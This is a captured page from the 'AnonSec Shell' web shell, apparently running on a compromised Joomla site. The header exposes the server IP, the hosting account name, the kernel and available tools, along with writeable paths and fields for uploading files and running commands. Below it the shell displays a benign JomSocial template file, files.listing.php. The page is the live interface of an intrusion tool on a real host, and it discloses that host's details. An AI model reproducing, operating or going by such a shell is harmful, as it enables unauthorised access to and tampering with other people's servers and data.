AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.94
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/www/cj79373/components/com_community/templates/jomsocial/layouts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/www/cj79373/components/com_community/templates/jomsocial/layouts//files.listing.php
<?php
/**
* @copyright (C) 2013 iJoomla, Inc. - All rights reserved.
* @license GNU General Public License, version 2 (http://www.gnu.org/licenses/gpl-2.0.html)
* @author iJoomla.com <webmaster@ijoomla.com>
* @url https://www.jomsocial.com/license-agreement
* The PHP code portions are distributed under the GPL license. If not otherwise stated, all images, manuals, cascading style sheets, and included JavaScript *are NOT GPL, and are released under the IJOOMLA Proprietary Use License v1.0
* More info at https://www.jomsocial.com/license-agreement
*/
defined('_JEXEC') or die();
?>

<?php if (!empty($data)) { ?>
    <ul class="joms-list--friend">
    <?php foreach ($data as $_data) { ?>
        <?php

            $filename = $_data->name;
            $filepath = $_data->filepath;
            $fileext  = strrpos( $filepath, '.' );
            $userlink = '<a href="' . CUrlHelper::userLink($_data->user->id) . '">' . $_data->user->getDisplayName() . '</a>';

            if ( $fileext !== false ) {
                $filename .= substr( $filepath, $fileext );
            }

        ?>
        <li class="joms-list__item joms-js--file-<?php echo $_data->id; ?>">

                <a href="<?php echo JURI::base() . $filepath; ?>" target="_blank" title="<?php echo $filename; ?>" class="joms-text--break"
                    onclick="joms.api.fileUpdateHit(<?php echo $_data->id; ?>);"><?php echo $filename; ?></a>
                <span class="joms-block joms-text--light"><?php echo ($_data->hits > 1 ) ? JText::sprintf('COM_COMMUNITY_FILE_HIT_PLURAL',$_data->hits) : JText::sprintf('COM_COMMUNITY_FILE_HIT_SINGULAR',$_data->hits); ?> <?php echo $_data->filesize?></span>
                <p class="uploaded"><small><?php echo JText::sprintf('COM_COMMUNITY_FILES_UPLOAD_BY' , $userlink , $_data->parentName , $_data->parentType );?></small></p>
            <?php if(isset($_data->deleteable) && $_data->deleteable) {?>
                <a href="javascript:" class="joms-button--neutral joms-button--smallest" onclick="joms.api.fileRemove('discussion', '<?php echo $_data->id; ?>');"><?php echo JText::_('COM_COMMUNITY_DELETE'); ?></a>
            <?php } ?>
        </li>
    <?php } ?>
    </ul>
<?php } else { ?>
    <span class="noFiles"><?php echo JText::_('COM_COMMUNITY_FILES_NO_FILE'); ?></span>
<?php } ?>

Anon7 - 2022
AnonSec Team